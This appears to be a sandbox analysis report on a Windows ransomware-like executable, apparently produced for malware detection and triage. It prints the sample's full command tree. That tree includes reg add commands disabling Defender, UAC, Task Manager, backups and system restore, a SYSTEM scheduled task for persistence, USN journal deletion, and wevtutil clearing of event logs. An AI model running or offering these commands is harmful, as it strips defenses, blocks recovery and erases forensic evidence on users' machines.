PID 2480 wrote to memory of 2652	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	45
PID 2480 wrote to memory of 2652	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	45
PID 2480 wrote to memory of 2652	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	45
PID 2480 wrote to memory of 2652	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	45
PID 2480 wrote to memory of 2596	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	47
PID 2480 wrote to memory of 2596	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	47
PID 2480 wrote to memory of 2596	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	47
PID 2480 wrote to memory of 2596	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	47
PID 2480 wrote to memory of 2608	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	48
PID 2480 wrote to memory of 2608	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	48
PID 2480 wrote to memory of 2608	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	48
PID 2480 wrote to memory of 2608	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	48
PID 2480 wrote to memory of 2616	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	49
PID 2480 wrote to memory of 2616	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	49
PID 2480 wrote to memory of 2616	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	49
PID 2480 wrote to memory of 2616	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	49
PID 2480 wrote to memory of 2628	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	50
PID 2480 wrote to memory of 2628	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	50
PID 2480 wrote to memory of 2628	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	50
PID 2480 wrote to memory of 2628	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	50
PID 2480 wrote to memory of 1840	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	53
PID 2480 wrote to memory of 1840	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	53
PID 2480 wrote to memory of 1840	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	53
PID 2480 wrote to memory of 1840	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	53
PID 2480 wrote to memory of 3012	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	54
PID 2480 wrote to memory of 3012	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	54
PID 2480 wrote to memory of 3012	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	54
PID 2480 wrote to memory of 3012	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
"C:\Users\Admin\AppData\Local\Temp\31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d 1 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSearchFilesInStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSearchFilesInStartMenu" /t REG_DWORD /d 1 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSearchProgramsInStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSearchProgramsInStartMenu" /t REG_DWORD /d 1 /f
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenuMorePrograms" /t REG_DWORD /d 1 /f
  2⤵
  PID:1496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenuMorePrograms" /t REG_DWORD /d 1 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSMConfigurePrograms" /t REG_DWORD /d 1 /f
  2⤵
  PID:964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSMConfigurePrograms" /t REG_DWORD /d 1 /f
    3⤵
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoNetworkConnections" /t REG_DWORD /d 1 /f
  2⤵
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoNetworkConnections" /t REG_DWORD /d 1 /f
    3⤵
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "TaskbarNoPinnedList" /t REG_DWORD /d 1 /f
  2⤵
  PID:2284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "TaskbarNoPinnedList" /t REG_DWORD /d 1 /f
    3⤵
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenuPinnedList" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenuPinnedList" /t REG_DWORD /d 1 /f
    3⤵
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCANetwork" /t REG_DWORD /d 1 /f
  2⤵
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCANetwork" /t REG_DWORD /d 1 /f
    3⤵
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f
  2⤵
  PID:2296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoControlPanel" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v "{645FF040-5081-101B-9F08-00AA002F954E}" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v "{645FF040-5081-101B-9F08-00AA002F954E}" /t REG_DWORD /d 1 /f
    3⤵
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization" /v "EnableDynamicVirtualization" /t REG_DWORD /d 0 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization" /v "EnableDynamicVirtualization" /t REG_DWORD /d 0 /f
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToDisk" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToDisk" /t REG_DWORD /d 1 /f
    3⤵
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToNetwork" /t REG_DWORD /d 1 /f
  2⤵
  PID:1288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToNetwork" /t REG_DWORD /d 1 /f
    3⤵
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToOptical" /t REG_DWORD /d 1 /f
  2⤵
  PID:1644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupToOptical" /t REG_DWORD /d 1 /f
    3⤵
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "OnlySystemBackup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "OnlySystemBackup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToDisk" /t REG_DWORD /d 1 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToDisk" /t REG_DWORD /d 1 /f
    3⤵
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToNetwork" /t REG_DWORD /d 1 /f
  2⤵
  PID:1324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToNetwork" /t REG_DWORD /d 1 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToOptical" /t REG_DWORD /d 1 /f
  2⤵
  PID:1716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoBackupToOptical" /t REG_DWORD /d 1 /f
    3⤵
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoRunNowBackup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server" /v "NoRunNowBackup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}" /v "Enable" /t REG_DWORD /d 0 /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}" /v "Enable" /t REG_DWORD /d 0 /f
    3⤵
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe" /F
  2⤵
  PID:316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2336
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:768
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2884
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:672
